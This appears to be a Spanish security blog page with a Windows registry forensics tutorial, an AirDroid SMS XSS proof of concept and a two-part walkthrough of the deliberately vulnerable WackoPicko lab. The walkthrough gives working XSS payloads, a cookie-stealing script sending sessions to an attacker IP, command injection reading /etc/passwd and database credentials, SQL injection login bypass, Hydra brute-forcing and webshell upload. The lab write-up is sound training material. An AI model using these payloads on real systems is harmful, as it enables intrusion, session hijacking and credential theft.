pre { background:#eeeeee; border:1px solid #A6B0BF; font-size:120%; line-height:100%; overflow:auto; padding:10px; color:#000000 } pre:hover { border:1px solid #efefef; } code { font-size:120%; text-align:left; margin:0;padding:0; color: #000000;} .clear { clear:both; overflow:hidden; }

Bienvenido al blog

Bienvenidos al blog de seguridad en sistemas

miércoles, 17 de abril de 2013

Registro de windows con python-registry

Dejando por unos días de lado la auditoría web, en esta entrada haré una pequeña introducción a la libreria python-registry programada por Willi Ballenthin.

La librería permite trabajar sobre los ficheros que constituyen el registro de Windows, de forma que, durante un análisis forense se pueda interactuar con el registro para la busqueda de evidencias. Es una libreria al estilo RegRipper pero escrita en Python básico y por tanto, se puede ejecutar tanto en Windows, Linux como Mac Os X.

La libreria esta formada por dos ficheros:
  • RegistryParse.py: bajo nivel de la librería. No es necesario conocerla si no se va a trabajar a muy bajo nivel del registro.
  • Registry.py: clases que componene la API de la librería y que emplean RegistryParse.py para el tratamiento del registro. 
Registry.py divide el registro windows en tres clases:
  • Registry: es el registro completo en si mismo, el arbol. Se usa para recorrer el registro.
  • RegistryKey: es la únida básica del registro. Éste puede estar constituida por otros RegistryKey y/o por los valores del registro asignado a dicha Key.
  • RegisterValue: valores que pueden estar asignados a un registro (Key). Cada valor está formado por tres partes: el nombre del valor, el tipo de valor y el dato que contiene dicho valor.  
Cada una de estas clases tiene una serie de metodos que recomiendo revisar en la API del proyecto. De todas formas, para la entrada en el blog veremos los más importantes.

Registry:
  • open(): abre un registro en cierta posición.
  • root(): abre el registro en la raiz del mismo. Útil para imprimir todo el registro por pantalla.
RegistryKey:
  • timestamp(): devuelve el timestamp del registro.
  • name(): nombre del registro.
  • path(): ruta hasta el registro.
  • parent(): padre del registro.
  • subkeys(): lista de todas los registros hijos que tiene el registro.
  • values(): lista de todos los valores que tiene este registro.
RegisterValue:
  • name(): obtiene el nombre del valor del registro.
  • value_type_str(): obtiene el nombre en ascii de tipo valor.
  • value_type(): obtiene el número hexadecimal de tipo valor.
  • value(): devuelve el dato asignado a ese valor del registro.
Una vez vista una pequeña introducción vamos a proceder a dar unos ejemplos de uso de la libreria. Dando por hecho que ya disponemos de un entorno con Python, lo primero que se debe hacer es descargarse la libreria desde el github del proyecto. Podemos pinchar sobre el icono de "zip" para descarganos el proyecto entero. Una vez descargado, tendremos que situarnos en la raiz del proyecto y ejecutar la siguiente orden para instalar la libreria:
# ./setup.py install
El siguiente paso necesario será descarganos un par de registros de ejemplo desde el proyecto de RegRipper donde poder usar la libreria. Con estos dos pasos ya tenemos el entorno listo y ejemplos con los que trabajar.

Para poder trabajar lo único que deberemos hacer es crear un fichero python con el siguiente código:
#!/usr/bin/python

import sys
from Registry import Registry

reg = Registry.Registry(sys.argv[1])
Con este código ya tendremos todo listo para trabajar sobre un fichero del registro, el cual será pasado como argumento al programa.

Como primer ejemplo vamos a crear un pequeño script que liste todos los valores de un registro donde se almacenan todos los programas que se ejecutan durante el arranque de Windows. El registro se encuentra en el fichero "SOFTWARE" en la key "Microsoft\\Windows\\CurrentVersion\\Run". Para ello solo se tendrá que añadir al final del fichero creado con anterioridad lo siguiente:
key = reg.open("Microsoft\\Windows\\CurrentVersion\\Run")
for value in key.values():
        print "\tName: " + value.name() + ", Path: " + value.value()
Como vemos, se indica al registro que habrá la key "Run" y que imprima todos los valores asociadas a esa Key. Siendo un poco princesitas deberíamos usar Try/Exception para evitar fallos futuros, con lo que el script quedaría tal que así:
#!/usr/bin/python
# -*- encoding: utf-8 -*-
"""
    Joaquín Moreno Garijo @moxilo
    Startup Windows Progams
"""
import sys
from Registry import Registry
reg = Registry.Registry(sys.argv[1])
print "\nStartup Programs (SOFTWARE FILE)..."
try:
    key = reg.open("Microsoft\\Windows\\CurrentVersion\\Run")
    for value in key.values():
            print "\tName: " + value.name() + ", Path: " + value.value()
except Registry.RegistryKeyNotFoundException:
    print "\t Nothing to do here"
Si lo ejecutamos contra el registro de ejemplo descargado con anterioridad, por ejemplo el de Vista, nos mostraría lo siguiente:


Otro ejemplo de la librería seria acceder a ciertos valores del registro para obtener solo la información que nos pudeira interesar, como por ejemplo la información del sitema operativo:
#!/usr/bin/python
# -*- encoding: utf-8 -*-
"""
    Joaquín Moreno Garijo @moxilo
    Info Windows
"""
import sys
from Registry import Registry
reg = Registry.Registry(sys.argv[1])
print "\nSystem information (SOFTWARE FILE)..."
try:
    key = reg.open("Microsoft\\Windows NT\\CurrentVersion")
    print "\tProduct name: " + key.value("ProductName").value()
    print "\tCurrentVersion: " + key.value("CurrentVersion").value()
    print "\tServicePack: " + key.value("CSDVersion").value()
    print "\tProductID: " + key.value("ProductId").value() + "\n"
except Registry.RegistryKeyNotFoundException:
    print "\tNothing in " + path
 Donde al ejecutarlo sobre el registro de ejemplo de un Windows 7 daría como resultado lo siguiente:


Como vemos la libreria es bastante sencilla de usar y puede servirnos para forense en Windows en caso que tengamos que revisar ciertos registros y nos sintamos más comodos usando Python que Perl.

Pra finalizar indicar que en el directorio samples de la librería tenemos varios ejemplos de uso de la misma para cosas realmente interesantes como busquedas de ciertas "Keys", "shellbags", incluso un lector gráfico del registro llamado "regview.py" que funciona de maravilla:


 Espero que os sirva para futuros forenses. 

¡Arriba Boston! ¡Copley aguanta!


Continuar...

martes, 9 de abril de 2013

XSS persistente en AirDroid

Estando algo aburrido en el bar viendo los Final Four del baloncesto universitario de EEUU, me dio por revisar los últimos tweets. Entre esos tweets estaba el del US-Cert notificando de una vulnerabilidad de XSS en la aplicación AirDroid debido a un fallo de saneamiento en la lectura de los mensajes o SMS (CVE-2013-0134). Resumiendo, si se recibe un SMS con cierto código JavaScript, al ser leido dicho SMS en la interfaz Web de AirDroid, se ejecutará el código JS contenido en el SMS.

Al ser una aplicación empleada por muchos dispositivos Android, decidí que nada más llegara a casa debía probarlo para ver en que consistia exactamente el fallo. Para la prueba empleé un Android 4 con AirDroid 1.1.0 (última versión disponible). 

Cotilleando un poco como funcionaba el tratamiento de mensajes con la herramienta de depuración de Firefox, y algun que otro plugin adicional, la solución parecía bastante sencilla:


Como vemos el "texto_SMS" está entre tags "<div>". Por lo que como prueba inicial lo que había que hacer era cerrar ese "div" e intentar introducir código JS básico para comprender como saneaba la aplicación ciertos caracteres. Para la primera prueba, y única, emplee algo tan sencillo como intentar ejecutar un pop-up con el texto "XSS":
a</div><script>alert("XSS");</script>
Al enviar al terminal Android dicho código como mensaje SMS, cuando este es visualizado en la opción de mensajes de AirDroid, se ejecuta el código JS del mensaje, y en el caso del ejemplo, se muestra la ventanita famosa con las letras "XSS":


Podemos ver la captura del mensaje original una vez ejecutado el código JS oportuno:


La verdad que bastante sencillito la vulnerabiliad, aunque todo sea dicho, la posibilidad de ser explotada es bastante baja. Pero bueno, todo sea por cotillear un poco la aplicación. Por ahora no hay parche, pero con un NoScript en Firefox o derivados y un poco de sentido común a la hora de emplear la herramienta debería ser suficiente.

PD: persistente siempre y cuando no se borre el SMS.

Continuar...

jueves, 4 de abril de 2013

Reto Web WackoPicko (III)

Como tercera y última entrada del reto veremos que otras vulnerabilidades encontramos y como intentar sacar ventaja de ellas. Para ello continuaremos donde lo dejamos en la segunda entrada: auditando la parte concerniente a un usuario no autenticado, y por tanto, la parte pública de la web.

Entre los distintos posibles campos vulnerables a Cross Site Scripting o XSS encontramos dos que lo son. El primero se trata de un XSS reflejado y la segunda de un XSS permanente (más crítico).

El XSS reflejado lo encontramos en la opción de búsqueda (Search), en el campo "query" del recurso web /pictures/search.php. Dicho recurso no es filtrado adecudamente y al devolver el resultado de la busqueda añade un letrero del estilo:
Pictures that are tagged as 'prueba'
Si analizamos el código HTML vemos lo siguiente:
<div class="column prepend-1 span-24 first last">
<h2>Pictures that are tagged as 'prueba'</h2>

   <div class="column prepend-1 span-21 first last" style="margin-bottom: 2em;">
      <ul class="thumbnail-pic-list">
Por tanto lo único que tenemos que hacer es cerrar "h2" y "div" e introducir a continuación el código JS o HTML deseado. Por ejemplo para mostrar un "pop-up" con el mensaje "Ola K Ase" simplemente tenemos que introducir el siguiente texto como búsqueda:

'</h2></div><script>alert("Ola K Ase");</script>

En el caso del XSS persistente la vulnerabilidad se encuentre en la pagína de libro de invitados (Guestbook) en el parametro "comment" del recurso "guestbook.php". Al escribir un comentario, éste es guardado de forma permanente en la web, de tal dorma que, cualquier usaurio que visite el libro de visitas pueda ver el comentario. Si en vez de escribir un comentario introducimos código JS cualquier usuario que visitará el libro de visitas ejecutará el código JS introducido previamente por el atacante.
Por ejemplo si se introduce como comentario el siguiente texto se ejecutará otro pop-up con mensaje "LOL":

lalalal</p><script>alert("LOL");</script>


Para finalizar la parte publica vamos a acceder al recurso de administración de la web donde se nos requiere un usaurio y una contraseña para poder acceder al mismo. El recurso se encuentra en el recurso "/admin/index.php". Durante la auditoría de dicho recurso no se encuentra ningúna vulnerabilidad crítica, por lo que se procede como última instancia a comprobar que el servicio no presenta contraseña debiles. Para ello uso la herramienta Hydra en modo consola:
hydra -l admin -P /pentest/passwords/john/password.lst -s 80 -f 172.16.220.133  http-post-form "/WackoPicko/admin/index.php?page=login:adminname=^USER^&password=^PASS^:Admin Area"

Dando como resultado que el usuario admin emplea la contraseña trivial admin permitiendonos autenticarnos en la consola de administración, la cual todo sea dicho, no permite absolutamente hacer nada. Por tanto, no es necesario auditar la parte de administrador autenticado ya que no hay ninguna funcionalidad nueva.

A continucación tenemos que encargarnos de auditar la parte de usuario estandar autenticado en la aplicación web, puesto que previamente hemos auditado la parte pública. Para ello accederemos al entorno con el usuario legítimo previamente creado en el formulario de registro.

La primera vulnerabilidad que encontramos es otro XSS persistente situado en el bloque de comentarios de las fotos. El parametro en cuestión es "text" del recurso "/comments/preview_comment.php" el cual es vulnerable al poder introducir código JS y HTML. Como prueba de concepto podemos tomar el siguiente texto como comentario:

</p></div><script>alert("XSS");</script>
Una vez guardado el comentario, el código será ejecutado cuando un usuario visite la imagen donde se introduzco el comentario:


Vamos a complicar un poco la cosa, de forma que añadiendo un poco más de código JS en el comentario podamos hacer que cuando un usuario autenticado visite la foto, nos envie a un ordenador controlado por nosotros su cookie de sesión. Una vez dispongamos de la cookie del usuarios, podemos suplantar su cuenta sin llegar a conocer nunca ni el usuario ni la contraseña del mismo. Por ejemplo, si la IP del atacante es 172.16.220.132, podríamos enviar el siguiente comentario:
</p></div><script>document.write("<img src='http://172.16.220.132/index.php?=" + document.cookie + "'>");</script>
Donde levantando un netcat en el puerto 80 del equipo del atacante recibimos la cookie de sesión del usuario al visitrar éste la imagen "16" donde se había escrito como comentario el código anterior:


Para explotar la vulnerabilidad lo único que tenemos que hacer es acceder a la web como usaurio no autenticado y modificar el ID de sensión de la cookie mediante un tamper (Tamper Data de Firefox) o un proxy como por ejemplo Burp o Zap. En nuestro caso activamos Burp y modificamos el valor de la sesión de la cookie PHPSESSID por la obtenida de nuestra victima:


Por lo que al enviar al servidor Web la nueva variable de sesión suplantaremos al usuario victima y podremos acceder a la aplicación como si del mismo ususario se tratara:

 
 
Para finalizar, la última vulnerabilidad que detecte estaba relacionado con la funcionalidad Upload de la Web, la cual permitía subir ficheros al servidor. Este tipo de funcionalidades suele tener los típicos vectores de ataque relacionados con path transversal, remote file include y escritura de ficheros con código web.

En el caso de la aplicación detecte dos fallos distintos. El primero está relacionado con el path transversal y el segundo estaba relacionado con la capacidad de poder subir ficheros PHP y poder ejecutarlo en el motor PHP del servidor Web, lo que me permitió obtener una shell.

Para ello debemos acceder a la funcionalidad Upload del recurso y tener preparado una shell PHP como la proporcionada en la BackTrack en "/pentest/backdoors/web/webshells/php/". Una vez accedido al recursos se nos solicita mucha información como nombre del fichero, tag, precio, etc. Vamos a introducirlos con nombres sencillos de reconocer para identificar como almacena la aplicación el fichero:


Una vez enviado el fichero, comprobamos que la Web almacena el fichero de la siguiente forma:

http://Ip_Servidor/WackoPicko/upload/vtag/vname.550.jpg
Es decir, los ficheros se guardan en el directorio "upload" de la aplicación, y dentro de este directorio, el parametro "tag" identifica al directorio. El nombre del fichero está formado por el parametro "name" + ".550.jpg". Así mismo hemos visto que  al subir el fichero PHP no nos ha dado un fallo y este se ha almacenado correctamente. Por tanto el objetivo es intentar eliminar el ".550.jpg" del final. Para ello la mejor forma y sencilla al tratarse de código "PHP" es introducir el caracter "" al final del nombre del fichero, como por ejemplo:

shell.php
El fichero anterior debería ser guardado como "/upload/Vtag/shell.php", pero no se encuentra cuando intentamos acceder a él. Es necesario analizar mejor como funciona la herramienta.

Por ello proceso a subir una imagen estandar y ver como funciona la aplicación. Donde observo que guarda en el directorio especificado la imagen original con el mismo nombre que cuando la subimos, y a su vez, parece crear imagenes ficheros adicionales como el terminado en ".550.jpg" donde se modifica la resolución para adaptarse a la Web. Por ello la solución para subir la shell es mucho más sencilla, únicamente hay que indicar como nombre del fichero "shell.php" sin los "" y subirla de nuevo:
http://Ip_Servidor/WackoPicko/upload/vtag/shell.php
De forma que al acceder al recurso tengamos acceso a una shell PHP:



Para finalizar indicar que el parametro "tag" que identifica al directorio es vulnerable a path transversal con lo que se podría escribir en cualquier parte del recurso web, como por ejemplo en la raiz. Un ejemplo para ello sería el siguiente valor como tag:
../
Con todo lo expuesto hasta ahora daría por finalizado el reto. Si analizamos la documentación del reto indicada en la primera entrada, vemos que en las tres entradas están casi todas las vulnerabilidades notificadas, aunque hay un par que se me escaparón, como la relacionado con el ID de sesión de la parte de administación. 

Creo que este tipo de retos ayudan bastante a la hora de mejorar, o al menos mantenerlos en forma, en lo que es auditoría web básica y sencilla se refiere, sin mucho filtro a nivel de porgramación, WAF, IPS, errores no mostrados, SQL Blind, etc. que sí que complicarían de forma considerable la auditoría.

Ya solo me queda animaros a realizar el reto y comprobar los resultados obtenidos con los mios, así como, los propuestos por los autores del mismo.

Continuar...

martes, 2 de abril de 2013

Reto Web WackoPicko (II)

En la entrada pasada se analizo todos los recursos inicialmente disponibles. Una vez identificado todos los posibles vectores de ataque vamos a proceder a analizarlos. En el caso de la entrada iré directamente a aquellos recursos donde encontre vectores explotables y el motivo por el cual consideré que podrían serlo.

Se procederá primero a auditar la parte concerniente a la visibilidad de un usuario no registrado correspondiente a la parte superior del diagrama visto en la entrada pasada.

Dentro de este bloque el primer recurso ha analizar es el asingado a crear usuario (/users/register.php):

  1. Se procedio a comprobar si la pagína web devolcia algun campo de los introducidos, es decir, si al poner un nombre incorrecto la página web nos indicaba que el nombre era incorrecto, de forma que, podriamos tratar de introducir código HTML en los campos de entrada y ver si la web lo escupia tal como se lo enviamos de forma que pudiera ser vulnerable a XSS. No hubo exito.

  2. También se intento la ejecución de código SQL sin exito.

  3. Para finalizar se comproba si al introducir un usuario existente la página notificaba que el usuario ya existia. En este caso la web notificaba que el usuario ya existia y por tanto estamos ante un metodo que nos permite obtener los usuarios existentes en la web.

Dentro de este mismo bloque, tenemos un enlace que nos permite comprobar la robustez de la contraseña. El recurso en concreto es "passcheck.php" en el cual al introducir una contraseña comprueba mediante un grep a un fichero si la contraseña existe ya en el fichero. Al disponer del comando que se ejecuta solo necesitamos unas pocas nociones de shell para conseguir ejecutar ordenes en el sistema. Para ello se prepara una condición para que la parte de la izquierda sea una orden correcta, seguida de un "|" y para finalizar añadimos al final la almohadilla (#) para eliminar la parte de la derecha de la orden. Veamos como hay que hacerlo:

Inicialmente introducimos como contraseña a comprobar lo siguiente:
root /etc/passwd #
Ejecutandose la siguiente orden:
grep ^root /etc/passwd #$ /etc/dictionaries-common/words
Donde la página web nos notifica que el password es una mala contraseña. Esto es porque al existir la cadena root en el fichero "/etc/passwd" el fichero PHP lo interpreta como que existe en el diccionario y por tanto es una contraseña trivial.  Si pusieramos en vez de la cadena "root" algo tal que "abcdefgjrhgdjfghd" nos diria que la contraseña es correcta.

Sabiendo ya como poder ejecutar ordenes el el sistema vamos a poner a la izquierda la orden anterior acompañado con un "y ejecuta también esto" o "|". Por ejemplo, si queremos saber en que directorio nos encontramos usando la orden "pwd" introduciriamos como campo contraseña lo siguiente:
root /etc/passwd | pwd > prueba | echo #
Donde al acceder al recurso "http://IP_Serv_Web/WackoPicko/prueba" nos mostraria el directorio donde esta WackoPicko. 

Ahora vamos a ejecutar lo anterior pero introduciendo más ordenes como listado del directorio, id del usuario y volcado del fichero "/etc/passwd":  
root /etc/passwd | pwd > prueba && ls >> prueba && id >> prueba && cat /etc/passwd >> prueba && ps -aux >> prueba | echo #
Teniendo en cuenta que gracias a esto ya podemos ir listando los directorios internos de la Web y que mediante un simple grep eliminando la shell "php" seriamos capaces de obtener el código completo de la página Web. Realizando este proceso llegamos a cosas tan originales como encontrar el fichero ourdb.php, existente en el directorio "include", donde se encuentra almacenado el usuario y la contraseña de la BBDD usada por la aplicación:
root /etc/passwd | grep -iv '<?php' include/ourdb.php > prueba | echo #
Devolviendo la web el siguiente mensaje:


Donde al acceder a prueba veriamos lo siguiente:


Con esta vulnerabilidad ya podriamos ser capaces de obtener todo el código fuente de la página Web y encontrar las vulnerabilidades como si de una caja blanca se tratara. A pesar de ello vamos a seguir auditando la web como si no hubieramos encontrado esta vulnerabilidad.

Una vez auditado la parte de registrar usuario, se va a proceder a auditar la parte de autenticación del usuario o Login existente en el recurso ("/users/login.php"). Primeramente introducimos un usuario no existente y luego un usuario existente (creado previamente) pero usando una contraseña incorrecta. Vemos que para ambos casos (casos fallidos) la respuesta de la web es la misma.

Este tipo de recursos web de autenticación suele presentar dos posibles vectores de ataque. El primero es mediante fuerza bruta al no tener ningún tipo de bloqueo por multiples intentos fallidos y la otra es por inyección de SQL: 

  1. Si tenemos en cuenta que en el registro de usuarios podiamos averigurar que usuarios eran nuevos, lo único que tenemos que hacer es explotar dicha vulnerabilidad e intentar obtener una lista de usuarios validos. Posteriormente con Hydra podriamos intentar sacar una posible contraseña ejecuando una orden como la siguiente (en mi caso solo obtuve los usuarios que había creado yo previamente):
    hydra -L user.list -P /pentest/passwords/john/password.lst -s 80 -f IP_SERVIDOR  http-post-form "/WackoPicko/users/login.php:username=^USER^&password=^PASS^:invalid"
  2. La segunda posibilidad es mediante inyección SQL, donde vemos que al introducir en el campo usuario (username) una comilla simple " ' " la web falla mostrando un mensaje de alerta típico de las MYSQL:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'', `salt`)) limit 1' at line 1
    Pues nada con un poco de SQL básico lo que tenemos que hacer es que la comprobación del SELECT siempre sea valido, por ejemplo introduciendo como usuario la condición siempre valida de que 3 es igual a 3, añadiendo al final la almohadilla "#" para omitir la parte derecha de la consulta original, empleando para ello la siguiente orden:
    admin' or 3=3#
    Gracias a esto podemos saltarnos la autenticación de la web, y por tanto, no requiriendo la contraseña.

Con los fallos documetados en esta entrada ya seriamos capaces de saltarnos la autenticación de la Web y ejecutar comandos en el entorno permitiendo entre otras: obtener el código fuente de la página Web, usuario y contraseña de la BBDD, información del sistema, ejecución de comandos con usuario no privilegiado y posibilidad de escalada de privilegios.

En la próxima entrada, y última del reto, veremos los otros fallos que he encontrado dando por finalizado WackoPicko hasta una próxima versión.

Continuar...